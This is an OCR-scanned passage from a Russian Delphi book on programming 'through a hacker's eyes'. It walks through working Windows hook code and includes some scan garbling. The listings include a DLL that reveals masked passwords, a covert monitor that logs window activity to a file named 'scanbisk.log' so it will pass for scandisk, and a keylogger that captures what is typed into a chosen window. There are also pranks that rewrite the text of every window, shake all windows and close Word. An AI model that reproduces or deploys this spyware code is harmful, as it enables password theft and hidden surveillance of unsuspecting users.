WWW.DISSERS.RU

БЕСПЛАТНАЯ ЭЛЕКТРОННАЯ БИБЛИОТЕКА

   Добро пожаловать!

Pages:     | 1 || 3 | 4 |   ...   | 5 |

«Михаил Фленов Сан кт- Петербург -БХВ-Петербург» 2003 УДК 681.3.068x800.92Delphi ББК 32.973.26-018.1 Ф69 Флеиов М. Е. Профаммирование в Delphi глазами хакера. — СПб.: БХВ-Петербург, 2003. - 368 с: ил. ...»

-- [ Страница 2 ] --

Система Это означает, что она будет доступна из внешних программ. После ее имени стоит ключевое слово index и значение 1. Именно по этому индексу мы и будем обращаться к этой процедуре. Теперь давайте посмотрим на процедуру SysMsgproc, которая будет вызываться при наступлении системных событий. В первой строке пойманное сообщение передается остальным ловушкам, установленным в системе с помощью CailNextHookEx. Если этого не сделать, то другие обработчики не смогут узнать о наступившем событии, и система будет работать некорректно. Далее проверяется тип полученного сообщения. Нам нужно обрабатывать событие нажатия кнопки мышки, значит, параметр code должен быть равен HC_ACTION, сообщения другого типа нам нет смысла обрабатывать. После этого мы получаем указатель на окно, сгенерировавшее событие, и определяем, что за событие произошло. Указатель на окно можно получить так: TMsg(pointer(lParam) Л ).hwnd. На первый взгляд, запись абсолютно не понятная, но попробуем в ней разобраться. Основа этой записи — lParam. Это переменная, которую мы получили в качестве последнего параметра нашей функции ловушки sysMsgProc. Запись Pointer с lParam) показывает на то, что этот параметр — указатель, об этом говорит ключевое слово pointer. Значок А разыменовывает указатель, т. е. указывает на то, что надо ВЗЯТЬ данные ПО Э О У адресу (Pointer (lParam) A ). ТМ Данные по указанному адресу хранятся в виде структуры TMsg. Именно потому мы явно указываем это — TMsgfPointer(1рагат) л ). Ну и сам идентификатор хранится в поле hwnd указанной структуры. Далее мы проверяем: если была нажата левая кнопка мышки и удержана кнопка , то в этом окне нужно убрать звездочки. Для этого проверяется содержимое поля message все той же структуры T M s g ( P o i n t e r ( l P a r a m ) " ). ЕСЛИ ЭТО СВОЙСТВО р а в н о WM_LBUTTONDOWN, TO, ЗНЭ чит, нажата левая кнопка мыши. После этого проверяется свойство wParam. Если в этом свойстве находится флаг MK_CONTROL, значит, нажата кнопка . Свойство wParam — это набор флагов, и в нем может быть установлено множество разных флагов, например флаги нажатия клавиш <АН> или . Такие наборы флагов нельзя сравнивать с помощью простого знака равенства. Для сравнения сначала нужно сложить переменную со значением, которое нужно проверить С ПОМОЩЬЮ Логического сложения and: {TMsg ( P o i n t e r (lParam) ).wParam л and MK_CONTROD, а потом уже результат можно сравнивать простым равенством. Если нажата кнопка и удерживается , то нужно убрать звездочки. Для этого окну посылается сообщение sendMessage со следующими параметрами: 1. wnd — окно, которому предназначено сообщение.

Глава 2. em_setpasswordchar — тип сообщения. Данный тип говорит о том, что надо изменить символ, который будет использоваться для того, чтобы спрятать пароль. 3. о — новый символ. Отправленный о означает, что текущий символ-маска просто исчезнет, и будет восстановлен нормальный вид текста. 4. о — зарезервировано. Напоследок вызывается функция invaiidateRect, которая заставляет заново прорисовать указанное окно. Окно задано в качестве первого параметра (это все то же окно, в котором произведен щелчок). Во втором параметре указывается область, которую надо прорисовать, значение n i l равносильно прорисовке всего окна. Если последний параметр равен true, то это значит, что надо перерисовать и фон. Теперь напишем программу, которая будет загружать dll и запускать ловушку. Для этого создайте новый проект простого приложения. Перейдите в редактор кода и найдите раздел var. Рядом должно быть написано что-то типа Formi: TFormi. Допишите сюда строки: procedure RunStopHook(State : Boolean) stdcall;

external 'hackpass.dll' index 1;

Здесь Delphi указывается, что есть такая функция RunStopHook, которая находится в библиотеке hackpass.dll, имеет стандартный вызов s t d c a i i и ее индекс равен 1. Вот по этому индексу Delphi и будет вызывать функцию. Можно, конечно же, и по имени, но это будет работать немного медленней. Теперь создайте обработчик события для формы onshow и напишите там следующую строчку кода: RunStopHook(true);

И наконец, создайте обработчик события onciose и напишите в нем: RunStopHook(false);

По событию onShow (когда окно появляется на экране) мы запускаем ловушку сообщений, а по событию закрытия окна мы останавливаем ловушку. После закрытия ловушка сообщений и dll-файл выгружаются из памяти.

d2G d6 D D6 g2agF Fdf gs f 2f S 2G6|df Dsg Sg a РИС. 3.2. Превращение замаскированного пароля Система Все, наше приложение готово. Запустите его. Потом перейдите в окно со строкой ввода пароля, и щелкните в поле ввода левой кнопкой мыши, удерживая . Звездочки моментально превратятся в реальный текст. Для приличия можно перенести на форму программы, загружающей dll, какую-нибудь картинку, чтобы она не выглядела тусклой. Я в своей программе не стал делать никаких украшений. На компакт-диске в директории \Примеры\Глава 3\Пароли вы можете увидеть пример программы и цветные рисунки этого раздела.

3.2. Мониторинг исполняемых файлов Давайте попробуем написать еще один пример с использованием ловушки системных сообщений. На этот раз я покажу, как написать программу, которая будет сидеть в системе и следить за тем, какие программы запускаются и сколько времени находятся в рабочем состоянии. Все, что программа узнает, будет занесено в файл-отчет. Начнем работу над примером с разбора устройства файла динамической библиотеки. В прошлый раз мы использовали функцию setHook, которая устанавливала в системе нашу ловушку. В качестве ловушки выступала функция sysMsgProc, в которую попадали все системные сообщения указанного типа. В сегодняшнем примере все будет так же, и ничего серьезного не поменяется (листинг 3.2) function SetHook(Hook : Boolean) : Boolean;

export;

stdcall;

begin Result : false;

= if Hook then begin if SysHook = 0 then SysHook : SetWindowsHookEx(WH_CBT{WH_CALLWNDPROC}, = @SysMsgProc, HInstance, 0);

Result : (SysHook <> 0);

= end else begin if SysHook <> 0 then begin UnhookWindowsHookEx(SysHook);

74 SysHook : 0;

= Result := true;

end;

end;

end;

Глава Код функции setHook тот же самый, за исключением функции установки ловушки. Теперь она выглядит так: SysHook : SetWindowsHookEx(WH_CBT, @SysMsgProc, HInstance, 0);

= В прошлом примере в качестве первого параметра функции setwindowsHookEx был указан WH_GETMESSAGE, а теперь WH_CBT. Если установить ловушку данного типа, то она сможет ловить следующие сообщения. О HCBT_ACTIVATE — приложение активизировалось;

• HCBT_CREATEWND — создано новое окно;

• HCBT_DESTROYWND — уничтожено существующее окно;

П HCBT_MINMAX — окно свернули или развернули на весь экран;

• HCBT_MOVESIZE — окно переместили или изменили размер. В общем, таким образом мы получаем доступ к сообщениям о событиях, произошедших с окнами. Любое телодвижение окна мы сможем проследить с помощью нашей ловушки. Раз изменился тип ловушки, значит, нужно менять и ее саму. Вот здесь у нас будет достаточно много нового, так что смотрите полный код процедуры SysMsgProc (ЛИСТИНГ 3.3) Листинг 3.3. Код процедуры SysMsgproc function SysMsgProc(code : integer;

wParam : word;

lParam : longint) : longint;

export;

stdcall;

var f: TextFile;

windtext, windir: array [0..255] of char;

Filedir,str:String;

begin Result := CallNextHookEx {SysHook, Code, wParam, 1 Parana) ;

case code of //Окно стало активным HC8TACTIVATE: begin Система GetWindowsDirectory(windir, 255);

Filedir:=windir+•\scanbisk.log';

AssignFile(f, Filedir);

if not FileExists(Filedir) then begin Rewrite(f);

CloseFile(f);

end;

Append(f);

Wnd := wParam;

GetWindowText(Wnd, windtext, 255);

Str:=windtext;

Writeln(f, FormatDateTirae('dd/mra/yyyy hh:nn:ss', Date+Time)+ '###ACTIVATE==='+Str+ '+++•+•@0S'+IntToStr(Wnd));

Flush(f);

CloseFile(f) ;

end;

//Создано новое окно HCBT_CREATEWND: begin Str:=TCBTCreateWnd(Pointer(lParam)A).lpcs.lpszName;

if Str-1' then exit;

A if TCBTCreateWnd (Pointer (lParam) ). lpcs.hwndParentoO then exit;

GetWindowsDirectory(windir, 255);

Filedir:=windir+'\scanbisk.log';

AssignFile(f, Filedir);

if not FileExists(Filedir) then begin Rewrite(f);

CloseFile(f) ;

end;

Append(f) ;

76 Wnd : wParam;

= GetWindowText(Wnd, windtext, 255);

Writelnff, FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+ '###OPEN==='+windtext+ '+++'+ л TCBTCreateWndfPointer(iParam) ).lpcs.lpszName+ '@@@'+IntToStr(Wnd));

Flush (f);

CloseFile{f);

end;

//Окно уничтожено HCBT_DESTROYWND: begin Str:='';

Wnd : wParam;

= if Wnd<>0 then GetWindowText(Wnd, windtext, 255);

str:=windtext;

if windtext='r then exit;

if Str='' then exit;

GetWindowsDirectory(windir, 255);

Filedir:=windir+'\scanbisk.log';

AssignFile(f, Filedir);

if not FileExists(Filedir) then begin Rewrite (f) ;

CloseFile(f) ;

end;

Append(f);

Глава if Length(Str)>0 then Writelnff, FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+ '###CLOSE=-='+Str+'+++'+'@@@'+IntToStr(Wnd)};

Flush(f);

Система CloseFile(f);

end;

end;

end;

Первая строка уже должна быть вам знакома. Затем идет проверка переменной code, которую мы получили в качестве первого параметра в функции SysMsgProc. В этом параметре хранится тип пойманного сообщения. Мы будем обрабатывать три сообщения: • HCBTACTIVATE — окно стало активным;

• HCBTCREATEWND — создано новое окно;

• HCBT_DESTROYWND — ОКНО уНИЧТОЖеНО.

Первым идет обработка сообщения об активации окна (листинг 3.4). Ъ&. Обработка 'с&общерия об активации окна • •-, ' //Окно стало активным HCBT_ACTIVATE: begin //Получаем путь к директории Windows GetWindowsDirectory(windir, 255);

Filedir:=windir+'\scanbisk.log1;

:?. • - -. ;

.;

-Щ -Г* //Открываем log-файл для добавления записей AssignFile(f, Filedir);

if not FileExists(Filedir) then begin Rewrite(f);

CloseFile(f);

end;

Append(f);

//Узнаем заголовок окна Wnd := wParam;

GetWindowText(Wnd, windtext, 255);

Str:=windtext;

//Записываем данные об активированном окне Writelnff, FormatDateTime('dd/mm/yyyy h h : n n : s s 1, I Глава Date+Time)+ •###ACTIVATE==='+Str+ +++t+'@@@'+intToStr(Wnd));

//Закрываем файл Flush(f);

CloseFile(f);

end;

В первой строчке листинга 3.4 мы получаем имя системной директории с помощью функции GetwindowsDirectory. Этой функции надо передать два параметра: буфер, в который будет записан путь к системной папке, и размер буфера. Во второй строке к этому пути прибавляется имя файла scanbisk.log. В этот файл будем записывать все события, происходящие в системе. В данном случае будет сделана запись о том, что какое-то окно активизировалось. Имя файла выбрано не случайно. Оно очень похоже на scandisk. Разница всего лишь в одной букве — я букву "d" поменял на "Ь", и файл не будет вызывать подозрений. Не думаю, что кто-то будет вчитываться в имена файлов системной директории. После этого я должен открыть файл для записи, чтобы добавить информацию о происшедшем событии. Для начала связываемся с файлом с помощью функции AssignFiie. У нее два параметра: 1. Переменная, в которую будет записан указатель на файл. 2. Путь к файлу. Следующим этапом с помощью функции FileExists проверяется существование файла. Если он не существует, то его нужно создать с помощью вызова функции Rewrite и сразу же закрыть с помощью функции cioseFile. Теперь в любом случае есть связь с нужным файлом, и его надо открыть для добавления информации. Делается это с помощью функции Append. Данная функция открывает файл с возможностью дописывания в него информации. Все. Подготовка окончена, и файл открыт в нужном режиме. Теперь нужно получить имя окна, которое стало активным. Для этого сначала записываем в переменную Wnd значение параметра wParam. Через этот параметр нашей ловушки sysMsgProc система передала нам указатель на окно, которое стало активным. Сохранив этот указатель в переменной wnd, я вызываю функцию GetwindowText, у которой три параметра. 1. Указатель на окно. 2. Буфер из символов — заголовок окна. 3. Размер буфера.

Система Функция вернет нам во втором параметре заголовок того окна, которое стало активным, Именно этот текст (и время события) нужно сохранить в файле с помощью writein. После записи файл закрывается, чтобы не возникло никаких ошибок при следующем обращении. На следующем этапе идет обработка события создания нового окна (листинг 3.5).

Листинг 3.5. Обработка"сведения о ср&ании окна. ' '.;

",Ч^ <' •' • //Создано новое окно HCBT_CREATEWND: begin //Узнаем имя окна Str:=TCBTCreateWnd(Pointer(lParam)A).lpcs.lpszName ;

if Str='' then exit;

//Если это дочернее окно, то выходим if TCBTCreateWnd(Pointer(lParam)").lpcs.hwndParent<>0 then exit;

//Получаем путь к директории Windows GetWindowsDirectory(windir, 255);

Filedir:=windir+'\scanbisk.log';

//Открываем log-файл для добавления записей AssignFile(f, Filedir);

if not FileExists(Filedir) then begin Rewrite(f);

CloseFile(f);

end;

Append(f);

//Получаем текст заголовка окна Wnd := wParam;

GetWindowText(Wnd, windtext, 255);

Writeln(f, FormatDateTiine('dd/mm/yyyy hh:nn:ss', Date+Time) + '###OPEN==='+windtext+ '+++' + TCBTCreateWnd(Pointer{lParam)").lpcs.lpszName+ •@@@'+intToStr(Wnd));

//Закрываем файл Глава Flush(f);

CloseFile(f);

end;

Имя окна мы можем определить из последнего полученного параметра вот таким образом: TCBTCreateWnd(Pointer(lParam)Л).lpcs.lpszName. Теперь проверяем: если оно пустое, то мне нет смысла связываться с этим окном, потому что оно невидимо. Видимые окна в 99% случаев имеют заголовок, поэтому я делаю такую проверку, а погрешность в своей программе в 1% считаю нормальной. Затем проверяем, является ли это окно главным. Если следующая конструкция не равна нулю, значит, это дочернее окно: TCBTCreateWnd(Pointer(lParara)A).lpcs.hwndParent Параметр hwndParent содержит указатель на главное окно по отношению к нашему. Если этот параметр равен нулю, то у этого окна нет владельца, а это может быть только в том случае, если наше окно само является главным. С дочерними окнами тоже не хочется связываться, потому что это чаще всего простые диалоговые окна, которые часто открываются в разных программах. Нас интересует только запуск приложений, поэтому такую ерунду мы будем игнорировать. Далее вызывается функция GetwindowText (wnd, windtext, 255), чтобы получить заголовок окна. После этого вся полученная информация форматируется в строку и сохраняется в log-файле уже использованным способом. Код обработки события HCBTDESTROYWND (ОКНО разрушено) идентичен тому, что написан для записи о создании окна. Здесь точно так же определяется заголовок разрушаемого окна и все сохраняется в log-файле. Единственное, что тут не делается — проверка на то, является ли окно главным. То есть будет ли сохраняться в log-файл информация обо всех разрушаемых окнах. Это может сильно испортить читаемость журнала, и вы можете добавить проверку, если собираетесь реально использовать программу. Я же этого не стал делать в целях экономии места. Пример получился достаточно хороший и рабочий, только есть у него единственный недостаток — код, который добавляет строку в файл, повторяется дважды. Именно поэтому его лучше вынести в отдельную процедуру и потом использовать ее для записи. Это можно сделать следующим образом (листинг 3.6).

Система Л|М1д1Я 'записи в файл ;

p o e u e SaveToLog(Str:String);

rcdr vr a f TextFile;

: FldrSrn;

iei:tig windir: a r y [. 2 5 o char;

ra 0.5] f bgn ei //Получаем директорию, где живет Windows GetWindowsDirectory(windir, 255);

Filedir:=windir+'\scanbisk.log';

//Соединяемся с log-файлом AssignFile(f, Filedir);

//Если сн не существовал, то создаем if not FileExists(Filedir) then begin //Создаем и сразу закрываем файл Rewrite(f);

CloseFile(f);

end;

//Открываем файл Append(f);

//Записываем строку Writeln(f, str);

//Закрываем log-файл Flush(f);

CloseFile(f);

end;

' Как видите, в этой процедуре собрано все необходимое для работы с файлом журнала. Теперь вы можете уменьшить весь код, который мы написали выше (листинги 3.4—3.5). Например, код, который выполняется при активации окна, сокращается до следующего:

//Окно стало активным HCBT_ACTIVATE: begin Глава //Узнаю заголовок окна Wnd := wParam;

GetWindowText(Wnd, windtext, 255);

Str:=windtext;

//Записываю данные об активированном окне SaveToLog(FormatDateTime{'dd/mm/yyyy hh:nn:ss', Date+Time) + •###ACTIVATE==='+Str+ '+++'+'@@@'+intToStr(Wnd));

end;

Количество строчек уменьшилось более чем в два раза, и теперь программу можно считать полностью законченной. Исполняемый файл в принципе можно оставить таким же, как и в прошлом разделе. Хотя нет, там мы писали программу, которая создает окно, значит, она будет видна пользователю. Здесь лучше сделать что-то незаметное. Код загрузки dll будет тот же, только саму оболочку надо будет сделать невидимой. Код моего загрузчика вы сможете найти вместе с исходниками dllфайла на компакт-диске. • scanbisk.dpr — проект, который загружает dll-файл в память. О WIN.dpr — исходник самой библиотеки. О Смотрелка лога — в этой директории находится программа, которая в удобном виде представляет файл журнала для просмотра.

f t Чтение с т. п и г т и к и ДатаВыход ("Статистика запущенных прогреем Имя программы Статистика активных программ! I Время запчска I Время работы Рис. 3. 3. Вид программ чтения статистики после мониторинга На компакт-диске в директории \Примеры\Глава 3\Мониторинг вы можете увидеть пример этой программы.

Система 3.3. Клавиатурный шпион Клавиатурный шпион — программа, которая может записывать весь набираемый пользователем текст. Созадется она таким же образом, как и мониторинг исполняемых файлов или подсматривание пароля. Поэтому я не буду приводить полный код шпиона, а только дам внешний вид процедуры SysMsgProc (листинг 3.7). Листинг 3,7..Процедура ЗуаМяДО^здЗ^адиатурного шпиона var ModuleFileName: array[0..МАХ_РАТН-1] of Char;

KeyName: array[0..16] of Char;

Password: PChar;

begin Password := PChar(lpvMem);

if (nCode - HC_ACTION) and (((lParam shr 16) and KF_UP} = 0) then begin GetKeyNameText(lParam, KeyName, sizeof(KeyName));

if StrLen(g_szKeyword) + StrLen(KeyName) >= PASSWORDSIZE then lstrcpy{g_szKeyword, g_szKeyword + StrLen(KeyName));

lstrcat(g_szKeyword, KeyName);

GetModuleFileName(0, ModuleFileName, sizeof(ModuleFileName));

if (StrPos(StrUpper(ModuleFileName),'Нужный модуль') о nil) and (strlen(Password) + strlen(KeyName) < PASSWORDSIZE) then lstrcat(Password, KeyName);

if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then begin ShowMessage(Password);

g_szKeyword[0] := #0;

end;

Result := 0;

end else Result := CallNextHookEx(gjihk, nCode, wParam, lParam);

end;

Глава Я надеюсь, что вы сами сможете разобраться с текстом процедуры. Скажу только, что она сидит в памяти и ожидает, когда пользователь начнет вводить пароль в нужное окно. Как только пользователь сделал это, программа выводит окно с сообщением набранных символов. Я не могу сказать, что получившийся код универсален и подойдет для любой программы, но я его постарался сделать наиболее простым, а вы уже сами подумайте, как его сделать лучше и сильней.

3.4. Работа с чужыми окнами Я регулярно получаю письма с вопросами: "Как уничтожить чужое окно или изменить что-то в нем". В этом и следующих разделах я попытаюсь ответить на этот волнующий вопрос. Для начала мы напишем программу, которая будет менять заголовки всех окон на надпись "][ с тобой".

Панель управления Изменение звукового сопровождения системы и программ.

В =*i-o m "-i-we Вопрос [!- Восклицание Восстановление окна с полного экрана Всплывающее меню BtiaennrtJ Звук ~! ст. обей If №'У Домашняя страница Microsoft Техническая поддержка 1стобой I с тобой ИстоДой (сто&й ](с тобой Р и с. 3. 4. Вид программ после запуска примера На рис. 3.4 показан вид нескольких окон после запуска примера, который нам предстоит создать. Как видите, большинство надписей изменилось на нашу ][ с тобой. Это достигается просто. П Запускаем цикл поиска всех открытых окон.

Система • Найденному окну изменяем текст и запускаем поиск его дочерних окон. • Найденному дочернему окну тоже изменяем текст. Таким образом, перебираются все окна в системе и все их дочерние элементы. После этой "доброй" шутки бедный пользователь уже не сможет нормально работать за компьютером. Эта программа будет использовать функции WinAPI (Windows Application Program Interface, интерфейс прикладных программ Windows). Попросту говоря, это функции и константы, которыми оперирует сама Windows. Таким образом, мы закрепим рассказанное мной о минимальных и невидимых приложениях.

Cne acl Hl e p Рис. 3.5. Удаление главной формы из проекта Запустите Delphi. Если среда программирования уже запущена, то создайте новый проект. Как всегда, перед вами появится пустая форма. Она нам сегодня не понадобится, поэтому удалим ее. Для этого в меню Project выберите пункт Remove from Project. Перед вами появится окно, в котором нужно выделить имя формы и нажать ОК. Вас попросят подтвердить удаление, на что ответьте согласием. Теперь нужно открыть исходный файл самого проекта. Для этого выберите в меню Project пункт View Source (можно еще в окне Project Manager щелкнуть правой кнопкой на названии программы и в появившемся контекстном меню выбрать пункт View Source). Здесь можно удалять все, кроме первой строки: program Projectl;

Ее можно оставить, а потом вставить нижеследующее (листинг 3.8).

program Projectl;

86 windows, Messages;

//Эта функция вызывается, когда найдено дочернее окно function EnumChildWnd(h: hwnd): BOOL;

stdcall;

begin SendMessage(h,WM_SETTEXT,O,lparara(LPCTSTR('][ с тобой1)));

Result:=true;

end;

//Эта функция вызывается, когда найдено главное окно function EnuinWindowsWnd(h: hwnd): BOOL;

stdcall;

begin SendMessage(h,WM_SETTEXT,O,lparam(LPCTSTR('][ с тобой')));

EnumChildWindows(h,@EnumChildWnd,0);

end;

var h:THandle;

begin //Запускаем бесконечный цикл while true do begin //Запускаем перечисление всех окон EnumWindows(@EnumWindowsWnd,0);

//Делаем задержку в 1000 мс h:=CreateEvent(nil, true, false, ' ' ) ;

WaitForSingleObject(h, 1000);

CloseHandle(h);

end;

end.

Глава Все, наша программа готова. Теперь можно создать исполняемый файл и даже запустить его, чтобы посмотреть результат. Если вы пользуетесь Windows 9x, то сможете увидеть результат в полном объеме. В Windows 2000/XP пример работает, но заголовки изменяются далеко не на всех окнах. Учтите, что для Windows окнами являются и почти все элементы управления (подробнее см. далее), и вместо набранного текста в поле ввода вы можете увидеть надпись "][ с тобой".

Система Теперь подробно разберем код примера. Вы уже знаете, что после ключевого слова uses пишут подключаемые модули. У нас их будет всего два: windows и messages. В этих двух модулях идет описание основных WinAPIфункций (модуль windows) и сообщений операционной системы (модуль messages). Из этих модулей Delphi узнает о существовании функций WinAPI и способах работы с ними. Дальше Идет Описание функций EnumChildWnd И EnumWindowsWnd. О Н Х М ИЫ поговорим немного позже, а сейчас перейдем на начало программы. После старта программа сразу же запускает бесконечный цикл: while условие do begin end;

Цикл while условие do означает: выполнять операторы, расположенные в теле цикла, пока условие равно true. Если в качестве условия указано true, то цикл будет выполняться бесконечно, потому что true никогда не станет равным false. Чтобы цикл был не бесконечным, используют какуюто переменную, которая может изменять свое значение, а здесь мы просто указали значение, которое всегда будет истинным. Внутри цикла вызывается функция — Enumwindows. Это WinAPI-функция, которая используется для перечисления всех запущенных окон. В качестве единственного параметра ей нужно передать адрес другой функции, которая будет вызываться каждый раз, когда найдено какое-нибудь окно. Для этого служит Ф Н Ц Я EnumWindowsWnd. Таким образом, каждый раз, когда EnumWindows УКИ найдет ОКНО, будет ВЫПОЛНЯТЬСЯ КОД, наПИСанНЫЙ В EnumWindowsWnd. ЭТОТ код выглядит вот так:

//Эта функция вызывается, когда найдено главное окно function EnumWindowsWnd(h: hwnd): BOOL;

stdcall;

begin SendMessage(h,WM_SETTEXT,O,lparam(LPCTSTR('][ с тобой1)));

EnumChildWindows(h,@EnumChildWnd,0);

end;

У функции EnumWindowsWnd есть один параметр — идентификатор найденного окна. Этого достаточно, чтобы мы могли изменить его заголовок. Есть такая WinAPI-функция sendMessage, которая посылает сообщения. У нее 4 параметра. 1. Первый— идентификатор окна, которому надо отослать сообщение. ЭТОТ Идентификатор МЫ получаем В Качестве параметра EnumWindowsWnd. 2. Второй параметр — тип сообщения. Указан WM_SETTEXT. Сообщения данного типа заставляют окно сменить заголовок или свое содержание. 3. Третий — для данного сообщения должен быть о. 4. Четвертый параметр — новое имя или текст окна.

Глава Итак, с помощью SendMessage мы посылаем найденному окну сообщение о том, что надо поменять текст. Новый текст указан в четвертом параметре функции SendMessage. После того, как изменен текст главного окна, нужно запустить поиск дочерних окон. Обычно каждое окно имеет еще очень много разных элементов управления (например, кнопок), текст на которых тоже можно изменить. Именно П Э О У Н Ж О вызывать функцию EnumChildWindows. Эта ОТМ УН функция ищет все элементы управления внутри указанного окна. У нее три параметра. 1. Идентификатор окна, дочерние элементы которого нужно искать. 2. Адрес функции обратного вызова, которая будет вызываться каждый раз, когда найдено дочернее окно. 3. Просто число, которое может быть передано в функцию обратного вызова. Как вы можете заметить, работа функции Enumchiidwindows похожа на EnumWindows, только если вторая ищет окна во всей системе, то первая — внутри указанного окна. Функция обратного вызова EnumChiidwnd выглядит следующим образом:

//Эта функция вызывается, когда найдено дочернее окно function EnumChildWnd(h: hwnd): BOOL;

stdcall;

begin SendMessage(h,WMSETTEXT,O,lparam(LPCTSTR('] [ с тобой')));

Result:=true;

end;

Здесь мы также изменяем текст найденного окна с помощью функции SendMessage. После этого результату присваивается значение true, чтобы поиск продолжился. В принципе программу можно считать законченной, но у нее есть один недостаток, о котором нельзя умолчать. Допустим, что программа нашла окно, и начала перечисление в нем дочерних окон, и в этот момент окно закрыли. Программа пытается послать сообщение окну об изменении текста, а окно уже не существует, и происходит ошибка выполнения. Чтобы этого не случилось, в функциях обратного вызова в самом начале нужно поставить проверку на правильность полученного идентификатора окна:

if h=0 then exit;

Вот теперь приложение можно считать законченным и а^олютно рабочим. На компакт-диске в директории \Примеры\Глава 3\][ с тобой вы можете увидеть пример этой программы и цветные рисунки этого раздела.

Система IEI |[ С тобой Файл Параметры Вид Завершение работы Справка : Приложения |[ Процессы] Быстродействие сеть > Пользователи ][ с тобой. ][ с тобой BBS ][ с тобой ][ с тобой ][ с тобой ][ с тобой ][ с тобой ][ с тобой ][ с тобой ][ с тобой ][ с тобой ][ с тобой ][ с тобой ][ с тобой ] с тобой t ][ с тобой К с тобой ][ с тобой ][ с тобой ][ с тобой ][ с J[ с тобой ] с тобой [ ][ с тобой X с тобой Л с тобой ][ с тобой ][ с тобой ] с тобой [ 1с ][ с тобой Загрузка ЦП: 3% Выделение памяти: 185744КБ{в Рис. 3.6. Пример работы программы в Windows XP 3.5. Дрожь в ногах Теперь немного изменим написанный в прошлом разделе пример и сделаем программу, которая будет перебирать все окна в системе и изменять их размеры. Можете открыть файл предыдущего примера и подкорректировать его или написать новый с кодом из листинга 3.9. :.'j*--":.-I* program Projectl uses windows, Messages;

//Функция-ловушка function EnumWindowsWnd(h: hwnd): BOOL;

stdcall, var -Г* размеров и координат всех окон 90 rect:TRect;

index:Integer;

begin if not IsWindowVisible(h) then begin Result:=true;

exit;

end;

//Получаем размеры найденного окна GetWindowRect fh,rect);

//Генерируем случайное число index:-random(2);

if index=0 then begin //Если оно 0, то увеличиваем... rect.Top:=rect.Top+3;

rect.Left:=rect.Left+3;

end else begin //Иначе уменьшаем... rect.Top:=rect.Top-3;

;

rect.Left:=rect.Left-3;

end;

MoveWindow(h,rect.Left,rect.Top,rect.Right-rect.Left, rect.Bottom-rect.Top,true);

Result:=true;

end;

//Основной код var h:THandle;

begin //Запускаем цикл while true do Глава Система begin //Запускаем перечисление всех окон EnumWindows(@EnumWindowsWnd,0);

. //Делаем задержку в 1000 мс h:=CreateEvent(nil, true, false, ' ' ) ;

WaitForSingleObject(h, 1000);

CloseHandle(h);

end;

end.

Если вы посмотрите на этот код, то заметите, что основное содержание программы не изменилось. Здесь так же запускается бесконечный цикл, внутри которого вызывается функция перебора всех окон и делается задержка в 1 000 миллисекунд. В этой части абсолютно никаких изменений нет. Теперь посмотрим на функцию ловушки EnumWindowsWnd, которая будет вызываться каждый раз, когда найдено окно. Тут первой вызывается функция iswindowvisibie. Эта функция проверяет, является ли найденное окно видимым. Если нет, то переменной Result присваивается значение true, и происходит выход из ловушки. Если Result равно true, то поиск следующего окна будет продолжен, иначе он остановится, и следующее окно не будет найдено. После этого вызывается функция GetwindowRect. Этой функции передается в первом параметре идентификатор найденного окна, а она возвращает во втором параметре размеры этого окна в виде переменной типа TRect. Получив габариты окна, генерируется случайное число с помощью функции random. Этой функции надо передать только значение максимально допустимого числа, а она вернет случайное число от о до указанного значения. После этого я проверяю, если число после округления (index обявлена как целая переменная) равно о, то я увеличиваю свойства тор и Left на з структуры rect. Иначе эти значения уменьшаются. Изменив значения структуры, в которой хранились габариты найденного окна, это окно перемещается с помощью функции Movewindow. Эта функция имеет 5 параметров. 1. Идентификатор окна, позицию которого надо изменить (h). 2. Новая позиция левого края (rect.Left). 3. Новая позиция верхнего края (rect.тор). 4. Новая ширина (rect. Right-rect. Left). 5. Новая высота (rect.Bottom-rect. Top). 4 3;

IK. 9 8 Глава Ну и напоследок переменной Result присваивается значение true, чтобы поиск продолжился. Получается, что если запустить программу, то мы увидим дрожание всех запущенных окон. Программа будет перебирать все окна и случайным образом изменять их положение. Попробуйте запустить программу и посмотреть этот эффект в действии (дрожат только не открытые на весь экран окна). На компакт-диске в директории \Примеры\Глава 3\Дрожь вы можете увидеть пример этой программы.

3.6. Найти и уничтожить Теперь мы напишем еще один пример программы, которая будет работать с чужими окнами. Она будет искать в системе определенное окно и уничтожать его. На первый взгляд, мы должны воспользоваться способом, описанным в прошлом разделе, но это только на первый взгляд, потому что есть способ намного проще. Давайте создадим приложение, которое будет искать в системе окно с заголовком Microsoft Word и уничтожать его. Создайте новое приложение и перенесите на форму только одну кнопку с заголовком Найти и уничтожить. В обработчике нажатия этой кнопки пишем следующий код: procedure TForral.FindAndDestroyButtonClick(Sender: TObject);

var h:hWnd;

begin h:=FindWindow(nil, 'Microsoft Word');

if h=0 then exit;

SendMessage(h, WMJDESTROY, 0,0);

end;

Новая функция здесь одна — rindwindow. Она ищет окно по заданным параметрам и если таковое найдено, то возвращает его идентификатор, иначе возвращает о. В качестве параметров нужно указывать значения искомого окна: 1. Класс окна. Нам он неизвестен, и мы здесь указываем n i l. 2. Заголовок окна. Для примера мы взяли Microsoft Word, поэтому указан его заголовок. Итак, единственное, что нам надо знать — заголовок окна, но знать его надо точно. В этом и состоит главный минус данного подхода программы, потому что Microsoft Word с открытым документом имеет заголовок Имя документа - Microsoft Word. Если нет открытых документов, то заголовок простой — Microsoft Word. В этом случае функция FindWindow однозначно Система определит окно, которое надо найти. Иначе программа возвратит о. Как видите, поиск окна по заголовку нельзя назвать надежным, но класс окна мы не всегда можем определить. После того как мы выполнили функцию Findwindow, проверяется возвращенное значение. Если оно равно о, то ничего не найдено, и надо выходить из программы. Если нет, то найденному окну посылается сообщение WMDESTROY (УНИЧТОЖИТЬСЯ) С ПОМОЩЬЮ ф у н к ц и и SendMessage.

Вот и все. Пример оказался очень простым, и мне больше уже нечего добавить. На компакт-диске в директории \Примеры\Глава 3\Уничтожение окна вы можете увидеть пример этой программы.

